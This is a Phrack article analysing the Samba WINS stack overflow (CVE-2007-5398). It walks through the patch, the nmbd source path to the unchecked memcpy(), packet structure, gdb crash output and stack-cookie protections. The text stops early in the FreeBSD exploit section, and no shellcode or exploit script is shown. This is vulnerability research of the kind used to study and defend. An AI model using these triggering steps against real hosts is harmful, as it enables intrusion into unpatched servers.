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..[ Phrack Magazine ]..
.:: The art of exploitation: Technical analysis of Samba WINS overflow ::.

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Current issue : #65 | Release date : 2008-11-04 | Editor : TCLH
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Title : The art of exploitation: Technical analysis of Samba WINS overflow
Author : FelineMenace
                             ==Phrack Inc.==

               Volume 0x0c, Issue 0x41, Phile #0x0c of 0x0f


|=-----------------------------------------------------------------------=|
|=-------------=[     The Art of Exploitation:      ]=-------------------=|
|=---------=[ Technical analysis of Samba WINS stack overflow  ]=--------=|
|=--------------------------=[ CVE-2007-5398 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[     By max_packetz@felinemenace.org     ]=--------------=|
|=-----------------------------------------------------------------------=|

--[ Index

1 - Introduction
2 - Initial Analysis
3 - Ubuntu 7.10 Security mechanisms
4 - Source code walk through
5 - Writing an exploit for Samba Version 3.0.23c on FreeBSD 6.2
  5.1 - Verifying valid registration flags
  5.2 - Ordering the stack data correctly
  5.3 - Code execution analysis
  5.4 - Shellcode
  5.5 - Getting a shell
  5.6 - Making the exploit more reliable
    5.6.1 - static .bss data
    5.6.2 - Memory leak
    5.6.2 - Back to the future^W.bss
  5.7 - Additional exploitation notes
6 - References

--[ 1 - Introduction

On the 15th November, 2007, the Samba team released a security advisory[1]
detailing a stack overflow in the nmbd daemon, specifically in
reply_netbios_packet() function in nmbd/nmbd_packets.c.

This vulnerability requires a specific non-standard configuration 
operation set in smb.conf for the code path to be enabled. Specifically,
"wins support = yes" needs to be set. This specific vulnerability is not
going to be present in a default install, nor likely to be found randomly.
Apart from that, it's a relatively standard vulnerability, with nothing
to set it apart. 

This article will be my running commentary / analysis while analysing and
exploiting this bug, every little editing of the article will take place 
afterwards.. so if I make a stuff up / discover something applicable later
on that I missed first time, you'll be able to read all about it.

Initially, I will be concerned about how this affects Ubuntu 7.10 by 
default, however, later on this may change if it turns out not to be
exploitable, due to various protection mechanisms.

--[ 2 - Initial Analysis

The difference between samba-3.0.26 and samba-3.0.27 is shown directly
below:

---------------------------------------------
--- samba-3.0.26/source/nmbd/nmbd_packets.c     
+++ samba-3.0.27/source/nmbd/nmbd_packets.c    
@@ -963,6 +963,12 @@
        nmb->answers->ttl      = ttl;
   
        if (data && len) {
+               if (len < 0 || len > sizeof(nmb->answers->rdata)) {
+                       DEBUG(5,("reply_netbios_packet: "
+                               "invalid packet len (%d)\n",
+                               len ));
+                       return;
+               }
                nmb->answers->rdlength = len;
                memcpy(nmb->answers->rdata, data, len);
        }
---------------------------------------------

The additional checks it adds is immediately obvious what the problem is.
Looking at the function declaration of the reply_netbios_packet() we 
see:

---------------------------------------------
void reply_netbios_packet(struct packet_struct *orig_packet,
	int rcode, enum netbios_reply_type_code rcv_code, int opcode,
	int ttl, char *data, int len)
{
        struct packet_struct packet;
        struct nmb_packet *nmb = NULL;
        struct res_rec answers;
        struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
        BOOL loopback_this_packet = False;
        int rr_type = RR_TYPE_NB;
        const char *packet_type = "unknown";

        /* Check if we are sending to or from ourselves. */
        if( ismyip(orig_packet->ip) && 
	    (orig_packet->port == global_nmb_port)
	  )
                loopback_this_packet = True;

        nmb = &packet.packet.nmb;
	..
---------------------------------------------

Checking the to see how much space is allocated in nmb->answers->rdata, 
we see:

---------------------------------------------
/* A resource record. */
struct res_rec {
        struct nmb_name rr_name;
        int rr_type;
        int rr_class;
        int ttl;
        int rdlength;
        char rdata[MAX_DGRAM_SIZE];
};

nameserv.h:#define MAX_DGRAM_SIZE (576) /* tcp/ip datagram limit 
is 576 bytes */
---------------------------------------------

To trigger this vulnerability, we need to determine how to reach the
code in a vulnerable state (with a large len field, greater than 576 
bytes.)

"grep -A 6 reply_netbios_ * | less" in source/nmbd, we see one that 
looks particularly interesting, especially due to advisories mentioning 
"wins support = yes" needing to be configured.

---------------------------------------------
nmbd_winsserver.c:    reply_netbios_packet(p,   /* Packet to reply to. */
nmbd_winsserver.c-                   0,/* Result code. */
nmbd_winsserver.c-                   WINS_QUERY,    /* nmbd type code. */
nmbd_winsserver.c-                   NMB_NAME_QUERY_OPCODE,  /* opcode. */
nmbd_winsserver.c-                   lp_min_wins_ttl(),      /* ttl. */
nmbd_winsserver.c-                   prdata,           /* data to send. */
nmbd_winsserver.c-                   num_ips*6);        /* data length. */
----------------------------------------------

Examining this code further we see that it's called in the 
process_wins_dmb_query_request() function. It looks through all 
registered hosts of the type 0x1b, counts them, allocates memory, 
cycles through the linked list again, and records the IP address(es), and
flags associated with that records. Further more, the code doesn't do any
checks on the data it is about to pass into the reply_netbios_packet()
function.

Of specific interest in the process_wins_dmb_query_request() in
nmbd_winsserver.c, the code is the 
following:

----------------------------------------------
  for(i = 0; i < namerec->data.num_ips; i++) {
    set_nb_flags(&prdata[num_ips * 6],namerec->data.nb_flags);
    putip((char *)&prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
    num_ips++;
  }
----------------------------------------------

This is constructing the data to be memcpy()'d later on, in 6 byte
increments. This could present a problem later on, as the stack layout
may need to be controlled with extreme precision, and the nb_flags 
details may be validated.

Since this code path looks plausible, we'll start constructing some code
to trigger this vulnerability.

By doing a packet dump and loading it into WireShark[2], we can look for
a WINS host being registered, and start working on an exploit. So far to 
trigger this vulnerability from reading over the code, we need 
approximately (576 / 6) registrations of type 0x1b, then we need to
search for all 0x1b registrations.

-----------------------------------------------
NetBIOS Name Service
    Transaction ID: 0x7b60
    Flags: 0x2910 (Registration)
        0... .... .... .... = Response: Message is a query
        .010 1... .... .... = Opcode: Registration (5)
        .... ..0. .... .... = Truncated: Message is not truncated
        .... ...1 .... .... = Recursion desired: Do query recursively
        .... .... ...1 .... = Broadcast: Broadcast packet
    Questions: 1
    Answer RRs: 0
    Authority RRs: 0
    Additional RRs: 1
    Queries
        VULN<20>: type NB, class IN
            Name: VULN<20> (Server service)
            Type: NB
            Class: IN
    Additional records
        VULN<20>: type NB, class IN
            Name: VULN<20> (Server service)
            Type: NB
            Class: IN
            Time to live: 0 time
            Data length: 6
            Flags: 0x6000 (H-node, unique)
                0... .... .... .... = Unique name
                .11. .... .... .... = H-node
            Addr: 10.1.1.3
------------------------------------------------

 * Transaction ID is any 16 bit value.
 * Flags is specific value, and is 16 bit.
 * Questions is a 16 bit value.
 * Answer RRs is a 16 bit value.
 * Authority RRs is a 16 bit value.
 * Additional RRs is a 16 bit value.

The "Queries" section is a 32 byte string, which encodes the type of
registration, in addition with the type/class information. The 
"Additional records" section has the name as 0xc0 0x0c, which seems to
indicate to use the name previously unpacked. Further more, the type
and class information is present, along with time to live, host flag
information, and address information.

It would appear that when registering is taking place, Samba extracts the
flags field in the additional records, and the IP address information, 
and inserts it into the linked list.

With this knowledge, we can start our attempts at exploiting Samba by
triggering the vulnerability. To reduce the amount of work that needs to
be done, we'll use impacket [3] to reduce our work.

After writing a preliminary exploit, we can verify the code path we choose
was correct. The code to trigger the vulnerability is included. We will
develop the exploit against a default install of Ubuntu 7.10 server 
version.

The crash looks like

------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1213143376 (LWP 31330)]
0x080cd22e in ?? ()
(gdb) x/10i $eip
0x80cd22e:      cmp    (%ecx),%al
0x80cd230:      jne    0x80cd242
0x80cd232:      movzbl 0xffff0bde(%ebx),%eax
0x80cd239:      cmp    0x1(%ecx),%al
0x80cd23c:      je     0x80cd35d
0x80cd242:      mov    0xffffffbc(%ebp),%edx
0x80cd245:      lea    0xffffffe0(%ebp),%esi
0x80cd248:      mov    0x50(%edx),%eax
0x80cd24b:      movl   $0x20,0x8(%esp)
0x80cd253:      mov    %edx,0x4(%esp)
(gdb) i r ecx
ecx            0x6b6a6968       1802135912
(gdb) bt
#0  0x080cd22e in ?? ()
#1  0xbfe959c8 in ?? ()
#2  0x08138721 in ?? ()
#3  0x00000000 in ?? ()
------------------------------------------------

The value in ecx, 0x6b6a6968 is taken from the trigger code above, in the
CreatePackets() function, in the ip variable. This at least gives us a 
start in exploiting the service.

--[ 3 - Ubuntu 7.10 Security mechanisms

Here is a quick overview of the preventative security mechanisms I can 
see in the default install of Ubuntu 7.10.

 * dmesg shows NX (Execute Disable) protection: active
 * /proc/pid/maps for nmbd looks like:

-------------------------------------------------
08048000-08145000 r-xp 00000000 08:01 462765     /usr/sbin/nmbd
08145000-08150000 rw-p 000fc000 08:01 462765     /usr/sbin/nmbd
08150000-081ea000 rw-p 08150000 00:00 0          [heap]
...
b7fdd000-b7ff7000 r-xp 00000000 08:01 279708     /lib/ld-2.6.1.so
b7ff7000-b7ff9000 rw-p 00019000 08:01 279708     /lib/ld-2.6.1.so
bfbc9000-bfbdf000 rw-p bfbc9000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
--------------------------------------------------

So while non-execution may be active in some form, it looks like there may
be some avenues via return-to-text, or jumping to the static vdso mapping.

 * It appears there is a stack cookie implementation being used by the
   compiler which made nmbd - due to strings output.

--------------------------------------------------
# strings /usr/sbin/nmbd | grep -i stack | head -n 1
__stack_chk_fail
---------------------------------------------------

 * SuSE's apparmor is installed, though a cursory look it doesn't seem 
   to be used?

---------------------------------------------------
# apparmor_status 
apparmor module is loaded.
0 profiles are loaded.
0 profiles are in enforce mode.
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode :
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
---------------------------------------------------

I'd hazard a guess that all memory regions are executable.. but we'll see 
how it goes.

So far, the only things that may hinder us a bit is that the:

 * exploit is blind (unless a memory leak is found - which can be worked on
   later.. or if we're lucky, the static memory address that we can use)
 * memory randomisation (a little bit, we have a static .text, and a static
   vdso)
 * stack cookie checking may influence (either negatively, or positively) 
   the avenues we have for exploiting the daemon.

--[ 4 - Source code walk through

To exploit the vulnerability, some of the things we need to do is:

 * verify what flags field can be used, as our exploitation techniques may
   need to keep this in mind, or our shellcode / addresses we use may be 
   affected in some way.
 * Analyze exactly what we're overflowing, and what is being affected by
   the stack overwrite.
 * Work out how to gain control of execution from the memory overwrite.

To make exploit development easier, we can install the samba-dbg package
that ships with Ubuntu 7.10. The samba-dbg package has applicable symbols
for the samba binaries / libraries. This may significantly help us exploit
the vulnerability, as it will provide variable names, function information,
and so fourth.

Since we have triggered the vulnerability, it's probably a good idea to 
start from reading the packets in, and finding where the memory is being 
used / defined, and work our way forwards to the memcpy(), then following 
what happens there.

The nmbd server has a main processing loop, called process() funnily 
enough, in nmbd/nmbd.c.

It reads in and queues the network packets, then processes the packets 
as shown below:

------------------------------------------
		/*
		 * Read incoming UDP packets.
		 * (nmbd_packets.c)
		 */

		if(listen_for_packets(run_election))
			return;

		...

		/*
		 * Process all incoming packets
		 * read above. This calls the success and
		 * failure functions registered when response
		 * packets arrrive, and also deals with request
		 * packets from other sources.
		 * (nmbd_packets.c)
		 */

		run_packet_queue();
-------------------------------------------

Which hands off execution to the nmbd/nmbd_packets.c file, in
run_packet_queue()

run_packet_queue() runs through the list of packets (as the name would
suggest), identifying if it is NMB packet, or a "dgram" packet. If it is a 
NMB packet, it checks to see whether or not it is a request, or a response.

As we're dealing with a request type, it hands off execution to
process_nmb_request() (which is in the same file as before,
nmbd/nmbd_packets.c).

process_nmb_request() examines the opcode, and hands off execution to
wins_process_name_query_request() in nmbd/nmbd_winsserver.c

A partial extract of the wins_process_name_query_request() is shown below:

--------------------------------------------
1879 /*********************************************************************
1880  Deal with a name query.
1881 *********************************************************************/
1882 
1883 void wins_process_name_query_request(struct subnet_record *subrec,
1884                                      struct packet_struct *p)
1885 {
1886         struct nmb_packet *nmb = &p->packet.nmb;
1887         struct nmb_name *question = &nmb->question.question_name;
1888         struct name_record *namerec = NULL;
1889         unstring qname;
1890 
1891 DEBUG(3,(
         "wins_process_name_query: name query for name %s from IP %s\n",
1892                 nmb_namestr(question), inet_ntoa(p->ip) ));
1893 
1894         /*
1895          * Special name code. If the queried name is *<1b> then search
1896          * the entire WINS database and return a list of all the IP 
                addresses
1897          * registered to any <1b> name. This is to allow domain master
                browsers
1898          * to discover other domains that may not have a presence on 
                their subnet.
1899          */
1900 
1901         pull_ascii_nstring(qname, sizeof(qname), question->name);
1902         if(strequal( qname, "*") && (question->name_type == 0x1b)) {
1903                 process_wins_dmb_query_request( subrec, p);
1904                 return;
1905         }
1906
--------------------------------------------

Since our trigger packet matches the requirement at 1902, we then jump 
on to process_wins_dmb_query_request again in nmbd_winsserver.c. Some 
comments are inline.


--------------------------------------------
1749 /********************************************************************
1750  Deal with the special name query for *<1b>
1751 ********************************************************************/
1752 
1753 static void process_wins_dmb_query_request(
                                             struct subnet_record *subrec,
1754                                         struct packet_struct *p)
1755 {
1756         struct name_record *namerec = NULL;
1757         char *prdata;
1758         int num_ips;
1759 
1760         /*
1761          * Go through all the ACTIVE names in the WINS db looking for 
                those
1762          * ending in <1b>. Use this to calculate the number of IP
1763          * addresses we need to return.
1764          */
1765 
1766         num_ips = 0;
1767 
1768         /* First, clear the in memory list - we're going to 
                re-populate
1769            it with the tdb_traversal in 
                fetch_all_active_wins_1b_names. */
1770 
1771         wins_delete_all_tmp_in_memory_records();
1772 
1773         fetch_all_active_wins_1b_names();
1774 
1775         for( namerec = subrec->namelist; namerec; namerec = 
                             namerec->next ) {
1776             if( WINS_STATE_ACTIVE(namerec) && 
                           namerec->name.name_type == 0x1b) {
1777                         num_ips += namerec->data.num_ips;

Count how many IP addresses are active, per registration.

1778                 }
1779         }
1780 
1781         if(num_ips == 0) {

None? then bail. 

1782                 /*
1783                  * There are no 0x1b names registered. 
                        Return name query fail.
1784                  */
1785                 send_wins_name_query_response(NAM_ERR, p, NULL);
1786                 return;
1787         }
1788 
1789         if((prdata = (char *)SMB_MALLOC( num_ips * 6 )) == NULL) {

Allocate required temporary memory. free()'d at end of function.

1790         DEBUG(0,("process_wins_dmb_query_request: Malloc fail !.\n"));
1791                 return;
1792         }
1793 
1794         /*
1795          * Go through all the names again in the WINS db looking for 
                those
1796          * ending in <1b>. Add their IP addresses into the list 
                we will
1797          * return.
1798          */
1799 
1800         num_ips = 0;
1801         for( namerec = subrec->namelist; namerec; namerec = 
                  namerec->next ) {
1802                 if( WINS_STATE_ACTIVE(namerec) && 
                              namerec->name.name_type == 0x1b) {

Scan through the linked list of name records, finding suitable records that
meet the above requirements.

1803                         int i;
1804                         for(i = 0; i < namerec->data.num_ips; i++) {
1805                                 set_nb_flags(&prdata[num_ips * 6],
                                     namerec->data.nb_flags);
1806                                 putip((char *)&
                         prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
1807                                 num_ips++;
1808                         }

Copy the data into the allocated memory. Memory is formatted of the type:
[2 byte flags field][4 byte ip address]

1809                 }
1810         }
1811 
1812         /*
1813          * Send back the reply containing the IP list.
1814          */
1815 
1816         reply_netbios_packet(p,              /* Packet to reply to. */
1817                       0,                     /* Result code. */
1818                       WINS_QUERY,            /* nmbd type code. */
1819                       NMB_NAME_QUERY_OPCODE,         /* opcode. */
1820                       lp_min_wins_ttl(),             /* ttl. */
1821                       prdata,                     /* data to send. */
1822                       num_ips*6);                 /* data length. */
1823 

Call reply_netbios_packet. If reached where num_ips*6 > 576, it will 
trigger the vulnerability.

1824         SAFE_FREE(prdata);
1825 }
1826 
--------------------------------------------

And looking at reply_netbios_packet(), we see:

--------------------------------------------
 856 /*******************************************************************
 857   Reply to a netbios name packet.  see rfc1002.txt
 858 ********************************************************************/
 859 
 860 void reply_netbios_packet(struct packet_struct *orig_packet,
 861                           int rcode, enum netbios_reply_type_code 
                               rcv_code, 
                               int opcode,
 862                           int ttl, char *data,int len)
 863 {
 864         struct packet_struct packet;

Locally defined struct packet on the stack

 865         struct nmb_packet *nmb = NULL;
 866         struct res_rec answers;

Locally defined res_rec on the stack.

 867         struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
 868         BOOL loopback_this_packet = False;
 869         int rr_type = RR_TYPE_NB;
 870         const char *packet_type = "unknown";
 871 
 872         /* Check if we are sending to or from ourselves. */
 873         if(ismyip(orig_packet->ip) && (orig_packet->port == 
                global_nmb_port))
 874                 loopback_this_packet = True;
 875 
 876         nmb = &packet.packet.nmb;

Point nmb inside of the above locally declared packet.

 877 
 878         /* Do a partial copy of the packet. We clear the locked flag
              and
 879                         the resource record pointers. */
 880         packet = *orig_packet;   /* Full structure copy. */
 881         packet.locked = False;

Build the nmb packet response

 882         nmb->answers = NULL;
 883         nmb->nsrecs = NULL;
 884         nmb->additional = NULL;
 885 
 886         switch (rcv_code) {
 887                 case NMB_STATUS:
 888                         packet_type = "nmb_status";
 889                        nmb->header.nm_flags.recursion_desired = False;
 890                      nmb->header.nm_flags.recursion_available = False;
 891                         rr_type = RR_TYPE_NBSTAT;
 892                         break;
 893                 case NMB_QUERY:
 894                         packet_type = "nmb_query";
 895                        nmb->header.nm_flags.recursion_desired = True;
 896                      nmb->header.nm_flags.recursion_available = True;
 897                         if (rcode) {
 898                                 rr_type = RR_TYPE_NULL;
 899                         }
 900                         break;
 901                 case NMB_REG:
 902                 case NMB_REG_REFRESH:
 903                         packet_type = "nmb_reg";
 904                       nmb->header.nm_flags.recursion_desired = True;
 905                      nmb->header.nm_flags.recursion_available = True;
 906                         break;
 907                 case NMB_REL:
 908                         packet_type = "nmb_rel";
 909                       nmb->header.nm_flags.recursion_desired = False;
 910                     nmb->header.nm_flags.recursion_available = False;
 911                         break;
 912                 case NMB_WAIT_ACK:
 913                         packet_type = "nmb_wack";
 914                       nmb->header.nm_flags.recursion_desired = False;
 915                     nmb->header.nm_flags.recursion_available = False;
 916                         rr_type = RR_TYPE_NULL;
 917                         break;
 918                 case WINS_REG:
 919                         packet_type = "wins_reg";
 920                       nmb->header.nm_flags.recursion_desired = True;
 921                      nmb->header.nm_flags.recursion_available = True;
 922                         break;
 923                 case WINS_QUERY:
 924                         packet_type = "wins_query";
 925                      nmb->header.nm_flags.recursion_desired = True;
 926                      nmb->header.nm_flags.recursion_available = True;
 927                         if (rcode) {
 928                                 rr_type = RR_TYPE_NULL;
 929                         }
 930                         break;
 931                 default:
 932 DEBUG(0,(
           "reply_netbios_packet: Unknown packet type: %s %s to ip %s\n",
 933          packet_type, nmb_namestr(&orig_nmb->question.question_name),
 934                                 inet_ntoa(packet.ip)));
 935                         return;
 936         }
 937 
 938         DEBUG(4,(
   "reply_netbios_packet: sending a reply of packet type: %s %s to ip %s \
 939 for id %hu\n", packet_type, nmb_namestr
            (&orig_nmb->question.question_name),
 940              inet_ntoa(packet.ip), orig_nmb->header.name_trn_id));
 941 
 942         nmb->header.name_trn_id = orig_nmb->header.name_trn_id;
 943         nmb->header.opcode = opcode;
 944         nmb->header.response = True;
 945         nmb->header.nm_flags.bcast = False;
 946         nmb->header.nm_flags.trunc = False;
 947         nmb->header.nm_flags.authoritative = True;
 948 
 949         nmb->header.rcode = rcode;
 950         nmb->header.qdcount = 0;
 951         nmb->header.ancount = 1;
 952         nmb->header.nscount = 0;
 953         nmb->header.arcount = 0;
 954 

Finished building the nmb packet header, now on with the show.

 955         memset((char*)&nmb->question,'\0',sizeof(nmb->question));
 956 
 957         nmb->answers = &answers;
 958         memset((char*)nmb->answers,'\0',sizeof(*nmb->answers));

Setup nmb->answers, zero the memory.

 959 
 960         nmb->answers->rr_name  = orig_nmb->question.question_name;
 961         nmb->answers->rr_type  = rr_type;
 962         nmb->answers->rr_class = RR_CLASS_IN;
 963         nmb->answers->ttl      = ttl;
 964 
 965         if (data && len) {
 966                 nmb->answers->rdlength = len;
 967                 memcpy(nmb->answers->rdata, data, len);

Trigger the overflow, which writes into the function allocated copy of
answers->rdata, which is defined/mentioned above as:

/* A resource record. */
struct res_rec {
        struct nmb_name rr_name;
        int rr_type;
        int rr_class;
        int ttl;
        int rdlength;
        char rdata[MAX_DGRAM_SIZE];
};

nameserv.h:#define MAX_DGRAM_SIZE (576) 
/* tcp/ip datagram limit is 576 bytes */

 968         }
 969 
 970         packet.packet_type = NMB_PACKET;
 971         /* Ensure we send out on the same fd that the original
 972                 packet came in on to give the correct source IP 
             address. */
 973         packet.fd = orig_packet->fd;
 974         packet.timestamp = time(NULL);
 975 
 976         debug_nmb_packet(&packet);
 977 
 978         if(loopback_this_packet) {
 979                 struct packet_struct *lo_packet;
 980                 DEBUG(5,(
         "reply_netbios_packet: sending packet to ourselves.\n"));
 981                 if((lo_packet = copy_packet(&packet)) == NULL)
 982                         return;
 983                 queue_packet(lo_packet);
 984         } else if (!send_packet(&packet)) {
 985                 DEBUG(0,(
          "reply_netbios_packet: send_packet to IP %s port %d failed\n",
 986                         inet_ntoa(packet.ip),packet.port));
 987         }
 988 }
 989 
--------------------------------------------

Unfortunately, since we saw mention of stack cookies and checks, it appears
that we can't just overwrite the saved eip and test if we have code 
execution - indeed, running the exploit with too few registrations provide
us with the message of:

--------------------------------------------
*** stack smashing detected ***: /usr/sbin/nmbd terminated
--------------------------------------------

This means that it's probable we'll have to see what we can get away with
in the processing of send_packet(). send_packet() is located in 
libsmb/nmblib.c

Looking at send_packet(), we find the following:

--------------------------------------------
 982 /*******************************************************************
 983  Send a packet_struct.
 984 ******************************************************************/
 985 
 986 BOOL send_packet(struct packet_struct *p)
 987 {
 988         char buf[1024];
 989         int len=0;
 990 
 991         memset(buf,'\0',sizeof(buf));
 992 
 993         len = build_packet(buf, p);
 994 
 995         if (!len)
 996                 return(False);
 997 
 998         return(send_udp(p->fd,buf,len,p->ip,p->port));
 999 }
1000 
--------------------------------------------

The "char buf[1024];" looks interesting, and maybe useful. 

Followed by the obvious:

--------------------------------------------
 961 /*******************************************************************
 962  Linearise a packet.
 963 ******************************************************************/
 964 
 965 int build_packet(char *buf, struct packet_struct *p)
 966 {
 967         int len = 0;
 968 
 969         switch (p->packet_type) {
 970         case NMB_PACKET:
 971                 len = build_nmb(buf,p);
 972                 break;
 973 
 974         case DGRAM_PACKET:
 975                 len = build_dgram(buf,p);
 976                 break;
 977         }
 978 
 979         return len;
 980 }
--------------------------------------------

Followed by the call once again, to build_nmb():

--------------------------------------------
 881 /*******************************************************************
 882  Build a nmb packet ready for sending.
 883 
 884  XXXX this currently relies on not being passed something that expands
 885  to a packet too big for the buffer. Eventually this should be
 886  changed to set the trunc bit so the receiver can request the rest
 887  via tcp (when that becomes supported)
 888 ******************************************************************/
 889 
 890 static int build_nmb(char *buf,struct packet_struct *p)
 891 {
 892         struct nmb_packet *nmb = &p->packet.nmb;
 893         unsigned char *ubuf = (unsigned char *)buf;
 894         int offset=0;
 895 
 896         /* put in the header */
 897         RSSVAL(ubuf,offset,nmb->header.name_trn_id);
 898         ubuf[offset+2] = (nmb->header.opcode & 0xF) << 3;
 899         if (nmb->header.response)
 900                 ubuf[offset+2] |= (1<<7);
 901         if (nmb->header.nm_flags.authoritative &&
 902                         nmb->header.response)
 903                 ubuf[offset+2] |= 0x4;
 904         if (nmb->header.nm_flags.trunc)
 905                 ubuf[offset+2] |= 0x2;
 906         if (nmb->header.nm_flags.recursion_desired)
 907                 ubuf[offset+2] |= 0x1;
 908         if (nmb->header.nm_flags.recursion_available &&
 909                         nmb->header.response)
 910                 ubuf[offset+3] |= 0x80;
 911         if (nmb->header.nm_flags.bcast)
 912                 ubuf[offset+3] |= 0x10;
 913         ubuf[offset+3] |= (nmb->header.rcode & 0xF);
 914 
 915         RSSVAL(ubuf,offset+4,nmb->header.qdcount);
 916         RSSVAL(ubuf,offset+6,nmb->header.ancount);
 917         RSSVAL(ubuf,offset+8,nmb->header.nscount);
 918         RSSVAL(ubuf,offset+10,nmb->header.arcount);
 919 
 920         offset += 12;
 921         if (nmb->header.qdcount) {
 922                 /* XXXX this doesn't handle a qdcount of > 1 */
 923                 offset += put_nmb_name((char *)ubuf,offset,
                     &nmb->question.question_name);
 924                 RSSVAL(ubuf,offset,nmb->question.question_type);
 925                 RSSVAL(ubuf,offset+2,nmb->question.question_class);
 926                 offset += 4;
 927         }
 928 
 929         if (nmb->header.ancount)
 930                 offset += 
                       put_res_rec((char *)ubuf,offset,nmb->answers,
 931                                 nmb->header.ancount);
 932 
 933         if (nmb->header.nscount)
 934                 offset += put_res_rec((char *)ubuf,offset,nmb->nsrecs,
 935                                 nmb->header.nscount);
 936 
 937         /*
 938          * The spec says we must put compressed name pointers
 939          * in the following outgoing packets :
 940          * NAME_REGISTRATION_REQUEST, NAME_REFRESH_REQUEST,
 941          * NAME_RELEASE_REQUEST.
 942          */
 943 
 944         if((nmb->header.response == False) &&
 945           ((nmb->header.opcode == NMB_NAME_REG_OPCODE) ||
 946           (nmb->header.opcode == NMB_NAME_RELEASE_OPCODE) ||
 947           (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_8) ||
 948           (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_9) ||
 949           (nmb->header.opcode == NMB_NAME_MULTIHOMED_REG_OPCODE)) &&
 950           (nmb->header.arcount == 1)) {
 951 
 952     offset += put_compressed_name_ptr(ubuf,offset,nmb->additional,12);
 953 
 954         } else if (nmb->header.arcount) {
 955             offset += put_res_rec((char *)ubuf,offset,nmb->additional,
 956                         nmb->header.arcount);
 957         }
 958         return(offset);
 959 }
--------------------------------------------

Following the call to put_res_rec(), we see:

--------------------------------------------
 388 
 389 /*******************************************************************
 390  Put a resource record into a packet.
 391 ******************************************************************/
 392 
 393 static int put_res_rec(char *buf,int offset,struct res_rec *recs,
            int count)
 394 {
 395         int ret=0;
 396         int i;
 397 
 398         for (i=0;i<count;i++) {
 399                 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
 400                 offset += l;
 401                 ret += l;
 402                 RSSVAL(buf,offset,recs[i].rr_type);
 403                 RSSVAL(buf,offset+2,recs[i].rr_class);
 404                 RSIVAL(buf,offset+4,recs[i].ttl);
 405                 RSSVAL(buf,offset+8,recs[i].rdlength);
 406                 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
 407                 offset += 10+recs[i].rdlength;
 408                 ret += 10+recs[i].rdlength;
 409         }
 410 
 411         return(ret);
 412 }
 413 
--------------------------------------------

And following up with put_nmb_name():

--------------------------------------------
 279 /*******************************************************************
 280  Put a compressed nmb name into a buffer. Return the length of the
 281  compressed name.
 282 
 283  Compressed names are really weird. The "compression" doubles the
 284  size. The idea is that it also means that compressed names conform
 285  to the doman name system. See RFC1002.
 286 ******************************************************************/
 287 
 288 static int put_nmb_name(char *buf,int offset,struct nmb_name *name)
 289 {
 290         int ret,m;
 291         nstring buf1;
 292         char *p;
 293 
 294         if (strcmp(name->name,"*") == 0) {
 295                 /* special case for wildcard name */
 296                 put_name(buf1, "*", '\0', name->name_type);
 297         } else {
 298                 put_name(buf1, name->name, ' ', name->name_type);
 299         }
 300 
 301         buf[offset] = 0x20;
 302 
 303         ret = 34;
 304 
 305         for (m=0;m<MAX_NETBIOSNAME_LEN;m++) {
 306                 buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF);
 307                 buf[offset+2+2*m] = 'A' + (buf1[m]&0xF);
 308         }
 309         offset += 33;
 310 
 311         buf[offset] = 0;
 312 
 313         if (name->scope[0]) {
 314                 /* XXXX this scope handling needs testing */
 315                 ret += strlen(name->scope) + 1;
 316        safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope))  ;
 317 
 318                 p = &buf[offset+1];
 319                 while ((p = strchr_m(p,'.'))) {
 320                         buf[offset] = PTR_DIFF(p,&buf[offset+1]);
 321                         offset += (buf[offset] + 1);
 322                         p = &buf[offset+1];
 323                 }
 324                 buf[offset] = strlen(&buf[offset+1]);
 325         }
 326 
 327         return(ret);
 328 }
 329 
--------------------------------------------


And put_name():

--------------------------------------------
 262 /*************************************************************     **
 263  Put a netbios name, padding(s) and a name type into a 16 character 
      buffer.
 264  name is already in DOS charset.
 265  [15 bytes name + padding][1 byte name type].
 266 **************************************************************     */
 267 
 268 void put_name(char *dest, const char *name, int pad, 
                   unsigned int name_type     )
 269 {
 270         size_t len = strlen(name);
 271 
 272      memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ? 
                  len : MAX_NETBIOSN     AME_LEN - 1);
 273         if (len < MAX_NETBIOSNAME_LEN - 1) {
 274               memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len);
 275         }
 276         dest[MAX_NETBIOSNAME_LEN - 1] = name_type;
 277 }
 278 
--------------------------------------------

So it appears with a large enough request, we can overflow the second 
char buf[1024]; in send_packet(), but due to stack cookies that may not
get us much.

Indeed, after a bit of experimenting, it looks like this is not exploitable
out of the box on Ubuntu, due to propolice/SSP, and the later code flow
does not appear to provide us with a mechanism where we can write to other 
memory we can control, unfortunately. That said, I may of missed something
obvious, or I might not of understood something correctly. If anyone has 
anything to the contrary, I would appreciate it.

Since the majority of other popular Linux platforms support SSP, I
decided to take a look at FreeBSD's CURRENT platform, and see if that would
be vulnerable/exploitable, and by a quick objdump on the nmbd binary, it
appears to be. I was quite disappointed to learn that after experimenting 
with triggering the vulnerability, that it didn't appear to be exploitable,
due to stack cookies. (At least, with my current knowledge and 
understanding, and sans bugs in the stack cookie check failure).

For what it's worth, apparently OpenBSD and DragonFly BSD both use SSP and
other security mechanisms.. but I hardly ever do anything on *BSD work, 
and don't overly care what they're doing (or lack thereof)

--[ 5 - Writing an exploit for Samba Version 3.0.23c on FreeBSD 6.2

--[ 5.1 - Verifying valid registration flags

To correctly exploit the nmbd daemon, we'll need to control the stack 
layout with precision. Reviewing how the data is laid out, we see that 
the flags parameter is used with what the host registered with. Due to 
potential restrictions, we need to validate what ranges are valid and can 
be used. 

By doing some quick grepping of the samba source code, we find the below 
code which modifies the flags:

--------------------------------------------
nmbd_packets.c:

uint16 get_nb_flags(char *buf)
{
        return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
}

